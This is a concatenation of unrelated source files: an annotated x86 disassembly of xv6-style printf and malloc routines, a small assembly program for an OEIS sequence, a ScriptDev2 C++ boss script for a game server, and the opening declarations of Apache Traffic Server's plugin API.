e23: 8d 7e 02 lea 0x2(%esi),%edi
e26: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
e2a: 8b 7d c0 mov -0x40(%ebp),%edi
e2d: 8d 76 00 lea 0x0(%esi),%esi
e30: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
e33: 83 ec 04 sub $0x4,%esp
e36: 83 ee 01 sub $0x1,%esi
e39: 6a 01 push $0x1
e3b: 53 push %ebx
e3c: 57 push %edi
e3d: 88 45 d7 mov %al,-0x29(%ebp)
e40: e8 ed fe ff ff call d32 <write>
while(--i >= 0)
e45: 83 c4 10 add $0x10,%esp
e48: 39 de cmp %ebx,%esi
e4a: 75 e4 jne e30 <printint+0x60>
putc(fd, buf[i]);
}
e4c: 8d 65 f4 lea -0xc(%ebp),%esp
e4f: 5b pop %ebx
e50: 5e pop %esi
e51: 5f pop %edi
e52: 5d pop %ebp
e53: c3 ret
e54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
e58: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
e5f: eb 90 jmp df1 <printint+0x21>
e61: eb 0d jmp e70 <printf>
e63: 90 nop
e64: 90 nop
e65: 90 nop
e66: 90 nop
e67: 90 nop
e68: 90 nop
e69: 90 nop
e6a: 90 nop
e6b: 90 nop
e6c: 90 nop
e6d: 90 nop
e6e: 90 nop
e6f: 90 nop
00000e70 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
e70: 55 push %ebp
e71: 89 e5 mov %esp,%ebp
e73: 57 push %edi
e74: 56 push %esi
e75: 53 push %ebx
e76: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
e79: 8b 75 0c mov 0xc(%ebp),%esi
e7c: 0f b6 1e movzbl (%esi),%ebx
e7f: 84 db test %bl,%bl
e81: 0f 84 b3 00 00 00 je f3a <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
e87: 8d 45 10 lea 0x10(%ebp),%eax
e8a: 83 c6 01 add $0x1,%esi
state = 0;
e8d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
e8f: 89 45 d4 mov %eax,-0x2c(%ebp)
e92: eb 2f jmp ec3 <printf+0x53>
e94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
e98: 83 f8 25 cmp $0x25,%eax
e9b: 0f 84 a7 00 00 00 je f48 <printf+0xd8>
write(fd, &c, 1);
ea1: 8d 45 e2 lea -0x1e(%ebp),%eax
ea4: 83 ec 04 sub $0x4,%esp
ea7: 88 5d e2 mov %bl,-0x1e(%ebp)
eaa: 6a 01 push $0x1
eac: 50 push %eax
ead: ff 75 08 pushl 0x8(%ebp)
eb0: e8 7d fe ff ff call d32 <write>
eb5: 83 c4 10 add $0x10,%esp
eb8: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
ebb: 0f b6 5e ff movzbl -0x1(%esi),%ebx
ebf: 84 db test %bl,%bl
ec1: 74 77 je f3a <printf+0xca>
if(state == 0){
ec3: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
ec5: 0f be cb movsbl %bl,%ecx
ec8: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
ecb: 74 cb je e98 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
ecd: 83 ff 25 cmp $0x25,%edi
ed0: 75 e6 jne eb8 <printf+0x48>
if(c == 'd'){
ed2: 83 f8 64 cmp $0x64,%eax
ed5: 0f 84 05 01 00 00 je fe0 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
edb: 81 e1 f7 00 00 00 and $0xf7,%ecx
ee1: 83 f9 70 cmp $0x70,%ecx
ee4: 74 72 je f58 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
ee6: 83 f8 73 cmp $0x73,%eax
ee9: 0f 84 99 00 00 00 je f88 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
eef: 83 f8 63 cmp $0x63,%eax
ef2: 0f 84 08 01 00 00 je 1000 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
ef8: 83 f8 25 cmp $0x25,%eax
efb: 0f 84 ef 00 00 00 je ff0 <printf+0x180>
write(fd, &c, 1);
f01: 8d 45 e7 lea -0x19(%ebp),%eax
f04: 83 ec 04 sub $0x4,%esp
f07: c6 45 e7 25 movb $0x25,-0x19(%ebp)
f0b: 6a 01 push $0x1
f0d: 50 push %eax
f0e: ff 75 08 pushl 0x8(%ebp)
f11: e8 1c fe ff ff call d32 <write>
f16: 83 c4 0c add $0xc,%esp
f19: 8d 45 e6 lea -0x1a(%ebp),%eax
f1c: 88 5d e6 mov %bl,-0x1a(%ebp)
f1f: 6a 01 push $0x1
f21: 50 push %eax
f22: ff 75 08 pushl 0x8(%ebp)
f25: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
f28: 31 ff xor %edi,%edi
write(fd, &c, 1);
f2a: e8 03 fe ff ff call d32 <write>
for(i = 0; fmt[i]; i++){
f2f: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
f33: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
f36: 84 db test %bl,%bl
f38: 75 89 jne ec3 <printf+0x53>
}
}
}
f3a: 8d 65 f4 lea -0xc(%ebp),%esp
f3d: 5b pop %ebx
f3e: 5e pop %esi
f3f: 5f pop %edi
f40: 5d pop %ebp
f41: c3 ret
f42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
f48: bf 25 00 00 00 mov $0x25,%edi
f4d: e9 66 ff ff ff jmp eb8 <printf+0x48>
f52: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
f58: 83 ec 0c sub $0xc,%esp
f5b: b9 10 00 00 00 mov $0x10,%ecx
f60: 6a 00 push $0x0
f62: 8b 7d d4 mov -0x2c(%ebp),%edi
f65: 8b 45 08 mov 0x8(%ebp),%eax
f68: 8b 17 mov (%edi),%edx
f6a: e8 61 fe ff ff call dd0 <printint>
ap++;
f6f: 89 f8 mov %edi,%eax
f71: 83 c4 10 add $0x10,%esp
state = 0;
f74: 31 ff xor %edi,%edi
ap++;
f76: 83 c0 04 add $0x4,%eax
f79: 89 45 d4 mov %eax,-0x2c(%ebp)
f7c: e9 37 ff ff ff jmp eb8 <printf+0x48>
f81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
f88: 8b 45 d4 mov -0x2c(%ebp),%eax
f8b: 8b 08 mov (%eax),%ecx
ap++;
f8d: 83 c0 04 add $0x4,%eax
f90: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
f93: 85 c9 test %ecx,%ecx
f95: 0f 84 8e 00 00 00 je 1029 <printf+0x1b9>
while(*s != 0){
f9b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
f9e: 31 ff xor %edi,%edi
s = (char*)*ap;
fa0: 89 cb mov %ecx,%ebx
while(*s != 0){
fa2: 84 c0 test %al,%al
fa4: 0f 84 0e ff ff ff je eb8 <printf+0x48>
faa: 89 75 d0 mov %esi,-0x30(%ebp)
fad: 89 de mov %ebx,%esi
faf: 8b 5d 08 mov 0x8(%ebp),%ebx
fb2: 8d 7d e3 lea -0x1d(%ebp),%edi
fb5: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
fb8: 83 ec 04 sub $0x4,%esp
s++;
fbb: 83 c6 01 add $0x1,%esi
fbe: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
fc1: 6a 01 push $0x1
fc3: 57 push %edi
fc4: 53 push %ebx
fc5: e8 68 fd ff ff call d32 <write>
while(*s != 0){
fca: 0f b6 06 movzbl (%esi),%eax
fcd: 83 c4 10 add $0x10,%esp
fd0: 84 c0 test %al,%al
fd2: 75 e4 jne fb8 <printf+0x148>
fd4: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
fd7: 31 ff xor %edi,%edi
fd9: e9 da fe ff ff jmp eb8 <printf+0x48>
fde: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
fe0: 83 ec 0c sub $0xc,%esp
fe3: b9 0a 00 00 00 mov $0xa,%ecx
fe8: 6a 01 push $0x1
fea: e9 73 ff ff ff jmp f62 <printf+0xf2>
fef: 90 nop
write(fd, &c, 1);
ff0: 83 ec 04 sub $0x4,%esp
ff3: 88 5d e5 mov %bl,-0x1b(%ebp)
ff6: 8d 45 e5 lea -0x1b(%ebp),%eax
ff9: 6a 01 push $0x1
ffb: e9 21 ff ff ff jmp f21 <printf+0xb1>
putc(fd, *ap);
1000: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
1003: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
1006: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
1008: 6a 01 push $0x1
ap++;
100a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
100d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
1010: 8d 45 e4 lea -0x1c(%ebp),%eax
1013: 50 push %eax
1014: ff 75 08 pushl 0x8(%ebp)
1017: e8 16 fd ff ff call d32 <write>
ap++;
101c: 89 7d d4 mov %edi,-0x2c(%ebp)
101f: 83 c4 10 add $0x10,%esp
state = 0;
1022: 31 ff xor %edi,%edi
1024: e9 8f fe ff ff jmp eb8 <printf+0x48>
s = "(null)";
1029: bb b0 12 00 00 mov $0x12b0,%ebx
while(*s != 0){
102e: b8 28 00 00 00 mov $0x28,%eax
1033: e9 72 ff ff ff jmp faa <printf+0x13a>
1038: 66 90 xchg %ax,%ax
103a: 66 90 xchg %ax,%ax
103c: 66 90 xchg %ax,%ax
103e: 66 90 xchg %ax,%ax
00001040 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
1040: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1041: a1 04 19 00 00 mov 0x1904,%eax
{
1046: 89 e5 mov %esp,%ebp
1048: 57 push %edi
1049: 56 push %esi
104a: 53 push %ebx
104b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
104e: 8d 4b f8 lea -0x8(%ebx),%ecx
1051: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1058: 39 c8 cmp %ecx,%eax
105a: 8b 10 mov (%eax),%edx
105c: 73 32 jae 1090 <free+0x50>
105e: 39 d1 cmp %edx,%ecx
1060: 72 04 jb 1066 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1062: 39 d0 cmp %edx,%eax
1064: 72 32 jb 1098 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
1066: 8b 73 fc mov -0x4(%ebx),%esi
1069: 8d 3c f1 lea (%ecx,%esi,8),%edi
106c: 39 fa cmp %edi,%edx
106e: 74 30 je 10a0 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
1070: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
1073: 8b 50 04 mov 0x4(%eax),%edx
1076: 8d 34 d0 lea (%eax,%edx,8),%esi
1079: 39 f1 cmp %esi,%ecx
107b: 74 3a je 10b7 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
107d: 89 08 mov %ecx,(%eax)
freep = p;
107f: a3 04 19 00 00 mov %eax,0x1904
}
1084: 5b pop %ebx
1085: 5e pop %esi
1086: 5f pop %edi
1087: 5d pop %ebp
1088: c3 ret
1089: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1090: 39 d0 cmp %edx,%eax
1092: 72 04 jb 1098 <free+0x58>
1094: 39 d1 cmp %edx,%ecx
1096: 72 ce jb 1066 <free+0x26>
{
1098: 89 d0 mov %edx,%eax
109a: eb bc jmp 1058 <free+0x18>
109c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
10a0: 03 72 04 add 0x4(%edx),%esi
10a3: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
10a6: 8b 10 mov (%eax),%edx
10a8: 8b 12 mov (%edx),%edx
10aa: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
10ad: 8b 50 04 mov 0x4(%eax),%edx
10b0: 8d 34 d0 lea (%eax,%edx,8),%esi
10b3: 39 f1 cmp %esi,%ecx
10b5: 75 c6 jne 107d <free+0x3d>
p->s.size += bp->s.size;
10b7: 03 53 fc add -0x4(%ebx),%edx
freep = p;
10ba: a3 04 19 00 00 mov %eax,0x1904
p->s.size += bp->s.size;
10bf: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
10c2: 8b 53 f8 mov -0x8(%ebx),%edx
10c5: 89 10 mov %edx,(%eax)
}
10c7: 5b pop %ebx
10c8: 5e pop %esi
10c9: 5f pop %edi
10ca: 5d pop %ebp
10cb: c3 ret
10cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000010d0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
10d0: 55 push %ebp
10d1: 89 e5 mov %esp,%ebp
10d3: 57 push %edi
10d4: 56 push %esi
10d5: 53 push %ebx
10d6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
10d9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
10dc: 8b 15 04 19 00 00 mov 0x1904,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
10e2: 8d 78 07 lea 0x7(%eax),%edi
10e5: c1 ef 03 shr $0x3,%edi
10e8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
10eb: 85 d2 test %edx,%edx
10ed: 0f 84 9d 00 00 00 je 1190 <malloc+0xc0>
10f3: 8b 02 mov (%edx),%eax
10f5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
10f8: 39 cf cmp %ecx,%edi
10fa: 76 6c jbe 1168 <malloc+0x98>
10fc: 81 ff 00 10 00 00 cmp $0x1000,%edi
1102: bb 00 10 00 00 mov $0x1000,%ebx
1107: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
110a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
1111: eb 0e jmp 1121 <malloc+0x51>
1113: 90 nop
1114: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1118: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
111a: 8b 48 04 mov 0x4(%eax),%ecx
111d: 39 f9 cmp %edi,%ecx
111f: 73 47 jae 1168 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
1121: 39 05 04 19 00 00 cmp %eax,0x1904
1127: 89 c2 mov %eax,%edx
1129: 75 ed jne 1118 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
112b: 83 ec 0c sub $0xc,%esp
112e: 56 push %esi
112f: e8 66 fc ff ff call d9a <sbrk>
if(p == (char*)-1)
1134: 83 c4 10 add $0x10,%esp
1137: 83 f8 ff cmp $0xffffffff,%eax
113a: 74 1c je 1158 <malloc+0x88>
hp->s.size = nu;
113c: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
113f: 83 ec 0c sub $0xc,%esp
1142: 83 c0 08 add $0x8,%eax
1145: 50 push %eax
1146: e8 f5 fe ff ff call 1040 <free>
return freep;
114b: 8b 15 04 19 00 00 mov 0x1904,%edx
if((p = morecore(nunits)) == 0)
1151: 83 c4 10 add $0x10,%esp
1154: 85 d2 test %edx,%edx
1156: 75 c0 jne 1118 <malloc+0x48>
return 0;
}
}
1158: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
115b: 31 c0 xor %eax,%eax
}
115d: 5b pop %ebx
115e: 5e pop %esi
115f: 5f pop %edi
1160: 5d pop %ebp
1161: c3 ret
1162: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
1168: 39 cf cmp %ecx,%edi
116a: 74 54 je 11c0 <malloc+0xf0>
p->s.size -= nunits;
116c: 29 f9 sub %edi,%ecx
116e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
1171: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
1174: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
1177: 89 15 04 19 00 00 mov %edx,0x1904
}
117d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
1180: 83 c0 08 add $0x8,%eax
}
1183: 5b pop %ebx
1184: 5e pop %esi
1185: 5f pop %edi
1186: 5d pop %ebp
1187: c3 ret
1188: 90 nop
1189: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
1190: c7 05 04 19 00 00 08 movl $0x1908,0x1904
1197: 19 00 00
119a: c7 05 08 19 00 00 08 movl $0x1908,0x1908
11a1: 19 00 00
base.s.size = 0;
11a4: b8 08 19 00 00 mov $0x1908,%eax
11a9: c7 05 0c 19 00 00 00 movl $0x0,0x190c
11b0: 00 00 00
11b3: e9 44 ff ff ff jmp 10fc <malloc+0x2c>
11b8: 90 nop
11b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
11c0: 8b 08 mov (%eax),%ecx
11c2: 89 0a mov %ecx,(%edx)
11c4: eb b1 jmp 1177 <malloc+0xa7>
|
; A166143: a(n) = 3*n^2 + 3*n - 5.
; 1,13,31,55,85,121,163,211,265,325,391,463,541,625,715,811,913,1021,1135,1255,1381,1513,1651,1795,1945,2101,2263,2431,2605,2785,2971,3163,3361,3565,3775,3991,4213,4441,4675,4915,5161,5413,5671,5935,6205,6481,6763,7051,7345,7645,7951,8263,8581,8905,9235,9571,9913,10261,10615,10975,11341,11713,12091,12475,12865,13261,13663,14071,14485,14905,15331,15763,16201,16645,17095,17551,18013,18481,18955,19435,19921,20413,20911,21415,21925,22441,22963,23491,24025,24565,25111,25663,26221,26785,27355,27931
mov $1,$0
mul $0,3
add $1,3
mul $0,$1
add $0,1
|
/**
* ScriptDev2 is an extension for mangos providing enhanced features for
* area triggers, creatures, game objects, instances, items, and spells beyond
* the default database scripting in mangos.
*
* Copyright (C) 2006-2013 ScriptDev2 <http://www.scriptdev2.com/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* World of Warcraft, and all World of Warcraft or Warcraft art, images,
* and lore are copyrighted by Blizzard Entertainment, Inc.
*/
/**
* ScriptData
* SDName: Boss_Shazzrah
* SD%Complete: 75
* SDComment: Teleport NYI (need core support, remove hack here when implemented)
* SDCategory: Molten Core
* EndScriptData
*/
#include "precompiled.h"
#include "molten_core.h"
enum
{
SPELL_ARCANE_EXPLOSION = 19712,
SPELL_SHAZZRAH_CURSE = 19713,
SPELL_MAGIC_GROUNDING = 19714,
SPELL_COUNTERSPELL = 19715,
SPELL_GATE_OF_SHAZZRAH = 23138 // effect spell: 23139
};
struct boss_shazzrahAI : public ScriptedAI
{
boss_shazzrahAI(Creature* pCreature) : ScriptedAI(pCreature)
{
m_pInstance = (ScriptedInstance*)pCreature->GetInstanceData();
Reset();
}
ScriptedInstance* m_pInstance;
uint32 m_uiArcaneExplosionTimer;
uint32 m_uiShazzrahCurseTimer;
uint32 m_uiMagicGroundingTimer;
uint32 m_uiCounterspellTimer;
uint32 m_uiBlinkTimer;
void Reset() override
{
m_uiArcaneExplosionTimer = 6000;
m_uiShazzrahCurseTimer = 10000;
m_uiMagicGroundingTimer = 24000;
m_uiCounterspellTimer = 15000;
m_uiBlinkTimer = 30000;
}
void Aggro(Unit* /*pWho*/) override
{
if (m_pInstance)
{
m_pInstance->SetData(TYPE_SHAZZRAH, IN_PROGRESS);
}
}
void JustDied(Unit* /*pKiller*/) override
{
if (m_pInstance)
{
m_pInstance->SetData(TYPE_SHAZZRAH, DONE);
}
}
void JustReachedHome() override
{
if (m_pInstance)
{
m_pInstance->SetData(TYPE_SHAZZRAH, NOT_STARTED);
}
}
void UpdateAI(const uint32 uiDiff) override
{
if (!m_creature->SelectHostileTarget() || !m_creature->getVictim())
{
return;
}
// Arcane Explosion Timer
if (m_uiArcaneExplosionTimer < uiDiff)
{
if (DoCastSpellIfCan(m_creature, SPELL_ARCANE_EXPLOSION) == CAST_OK)
{
m_uiArcaneExplosionTimer = urand(5000, 9000);
}
}
else
{ m_uiArcaneExplosionTimer -= uiDiff; }
// Shazzrah Curse Timer
if (m_uiShazzrahCurseTimer < uiDiff)
{
if (DoCastSpellIfCan(m_creature, SPELL_SHAZZRAH_CURSE) == CAST_OK)
{
m_uiShazzrahCurseTimer = 20000;
}
}
else
{ m_uiShazzrahCurseTimer -= uiDiff; }
// Magic Grounding Timer
if (m_uiMagicGroundingTimer < uiDiff)
{
if (DoCastSpellIfCan(m_creature, SPELL_MAGIC_GROUNDING) == CAST_OK)
{
m_uiMagicGroundingTimer = 35000;
}
}
else
{ m_uiMagicGroundingTimer -= uiDiff; }
// Counterspell Timer
if (m_uiCounterspellTimer < uiDiff)
{
if (DoCastSpellIfCan(m_creature, SPELL_COUNTERSPELL) == CAST_OK)
{
m_uiCounterspellTimer = urand(16000, 20000);
}
}
else
{ m_uiCounterspellTimer -= uiDiff; }
// Blink Timer
if (m_uiBlinkTimer < uiDiff)
{
// Teleporting him to a random gamer and casting Arcane Explosion after that.
if (DoCastSpellIfCan(m_creature, SPELL_GATE_OF_SHAZZRAH) == CAST_OK)
{
// manual, until added effect of dummy properly -- TODO REMOVE HACK
if (Unit* pTarget = m_creature->SelectAttackingTarget(ATTACKING_TARGET_RANDOM, 0))
{
m_creature->NearTeleportTo(pTarget->GetPositionX(), pTarget->GetPositionY(), pTarget->GetPositionZ(), m_creature->GetOrientation());
}
DoResetThreat();
DoCastSpellIfCan(m_creature, SPELL_ARCANE_EXPLOSION, CAST_TRIGGERED);
m_uiBlinkTimer = 45000;
}
}
else
{ m_uiBlinkTimer -= uiDiff; }
DoMeleeAttackIfReady();
}
};
CreatureAI* GetAI_boss_shazzrah(Creature* pCreature)
{
return new boss_shazzrahAI(pCreature);
}
void AddSC_boss_shazzrah()
{
Script* pNewScript;
pNewScript = new Script;
pNewScript->Name = "boss_shazzrah";
pNewScript->GetAI = &GetAI_boss_shazzrah;
pNewScript->RegisterSelf();
}
|
/** @file
Implements the Traffic Server C API functions.
@section license License
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <cstdio>
#include <atomic>
#include <string_view>
#include <tuple>
#include <unordered_map>
#include <string_view>
#include "tscore/ink_platform.h"
#include "tscore/ink_base64.h"
#include "tscore/PluginUserArgs.h"
#include "tscore/I_Layout.h"
#include "tscore/I_Version.h"
#include "InkAPIInternal.h"
#include "Log.h"
#include "URL.h"
#include "MIME.h"
#include "HTTP.h"
#include "ProxySession.h"
#include "Http2ClientSession.h"
#include "Http1ServerSession.h"
#include "HttpSM.h"
#include "HttpConfig.h"
#include "P_Net.h"
#include "P_SSLNextProtocolAccept.h"
#include "P_UDPNet.h"
#include "P_HostDB.h"
#include "P_Cache.h"
#include "records/I_RecCore.h"
#include "P_SSLConfig.h"
#include "P_SSLClientUtils.h"
#include "SSLDiags.h"
#include "SSLInternal.h"
#include "ProxyConfig.h"
#include "Plugin.h"
#include "LogObject.h"
#include "LogConfig.h"
#include "PluginVC.h"
#include "ts/experimental.h"
#include "HttpSessionAccept.h"
#include "PluginVC.h"
#include "FetchSM.h"
#include "HttpDebugNames.h"
#include "I_AIO.h"
#include "I_Tasks.h"
#include "P_OCSPStapling.h"
#include "RecordsConfig.h"
#include "records/I_RecDefs.h"
#include "records/I_RecCore.h"
#include "I_Machine.h"
#include "HttpProxyServerMain.h"
#include "shared/overridable_txn_vars.h"
#include "ts/ts.h"
/****************************************************************
* IMPORTANT - READ ME
* Any plugin using the IO Core must enter
* with a held mutex. SDK 1.0, 1.1 & 2.0 did not
* have this restriction so we need to add a mutex
* to Plugin's Continuation if it trys to use the IOCore
* Not only does the plugin have to have a mutex
* before entering the IO Core. The mutex needs to be held.
* We now take out the mutex on each call to ensure it is
* held for the entire duration of the IOCore call
***************************************************************/
// helper macro for setting HTTPHdr data
#define SET_HTTP_HDR(_HDR, _BUF_PTR, _OBJ_PTR) \
_HDR.m_heap = ((HdrHeapSDKHandle *)_BUF_PTR)->m_heap; \
_HDR.m_http = (HTTPHdrImpl *)_OBJ_PTR; \
_HDR.m_mime = _HDR.m_http->m_fields_impl;
extern AppVersionInfo appVersionInfo;
// Globals for new librecords stats
static int api_rsb_index;
static RecRawStatBlock *api_rsb;
/** Reservation for a user arg.
*/
struct UserArg {
TSUserArgType type;
std::string name; ///< Name of reserving plugin.
std::string description; ///< Description of use for this arg.
};
// Managing the user args tables, and the global storage (which is assumed to be the biggest, by far).
UserArg UserArgTable[TS_USER_ARGS_COUNT][MAX_USER_ARGS[TS_USER_ARGS_GLB]];
static PluginUserArgs<TS_USER_ARGS_GLB> global_user_args;
std::atomic<int> UserArgIdx[TS_USER_ARGS_COUNT]; // Table of next reserved index.
/* URL schemes */
tsapi const char *TS_URL_SCHEME_FILE;
tsapi const char *TS_URL_SCHEME_FTP;
tsapi const char *TS_URL_SCHEME_GOPHER;
tsapi const char *TS_URL_SCHEME_HTTP;
tsapi const char *TS_URL_SCHEME_HTTPS;
tsapi const char *TS_URL_SCHEME_MAILTO;
tsapi const char *TS_URL_SCHEME_NEWS;
tsapi const char *TS_URL_SCHEME_NNTP;
tsapi const char *TS_URL_SCHEME_PROSPERO;
tsapi const char *TS_URL_SCHEME_TELNET;
tsapi const char *TS_URL_SCHEME_TUNNEL;
tsapi const char *TS_URL_SCHEME_WAIS;
tsapi const char *TS_URL_SCHEME_PNM;
tsapi const char *TS_URL_SCHEME_RTSP;
tsapi const char *TS_URL_SCHEME_RTSPU;
tsapi const char *TS_URL_SCHEME_MMS;
tsapi const char *TS_URL_SCHEME_MMSU;
tsapi const char *TS_URL_SCHEME_MMST;
tsapi const char *TS_URL_SCHEME_WS;
tsapi const char *TS_URL_SCHEME_WSS;
/* URL schemes string lengths */
tsapi int TS_URL_LEN_FILE;
tsapi int TS_URL_LEN_FTP;
tsapi int TS_URL_LEN_GOPHER;
tsapi int TS_URL_LEN_HTTP;
tsapi int TS_URL_LEN_HTTPS;
tsapi int TS_URL_LEN_MAILTO;
tsapi int TS_URL_LEN_NEWS;
tsapi int TS_URL_LEN_NNTP;
tsapi int TS_URL_LEN_PROSPERO;
tsapi int TS_URL_LEN_TELNET;
tsapi int TS_URL_LEN_TUNNEL;
tsapi int TS_URL_LEN_WAIS;
tsapi int TS_URL_LEN_PNM;
tsapi int TS_URL_LEN_RTSP;
tsapi int TS_URL_LEN_RTSPU;
tsapi int TS_URL_LEN_MMS;
tsapi int TS_URL_LEN_MMSU;
tsapi int TS_URL_LEN_MMST;
tsapi int TS_URL_LEN_WS;
tsapi int TS_URL_LEN_WSS;
/* MIME fields */
tsapi const char *TS_MIME_FIELD_ACCEPT;
tsapi const char *TS_MIME_FIELD_ACCEPT_CHARSET;
tsapi const char *TS_MIME_FIELD_ACCEPT_ENCODING;
tsapi const char *TS_MIME_FIELD_ACCEPT_LANGUAGE;
tsapi const char *TS_MIME_FIELD_ACCEPT_RANGES;
tsapi const char *TS_MIME_FIELD_AGE;
tsapi const char *TS_MIME_FIELD_ALLOW;
tsapi const char *TS_MIME_FIELD_APPROVED;
tsapi const char *TS_MIME_FIELD_AUTHORIZATION;
tsapi const char *TS_MIME_FIELD_BYTES;
tsapi const char *TS_MIME_FIELD_CACHE_CONTROL;
tsapi const char *TS_MIME_FIELD_CLIENT_IP;
tsapi const char *TS_MIME_FIELD_CONNECTION;
tsapi const char *TS_MIME_FIELD_CONTENT_BASE;
tsapi const char *TS_MIME_FIELD_CONTENT_ENCODING;
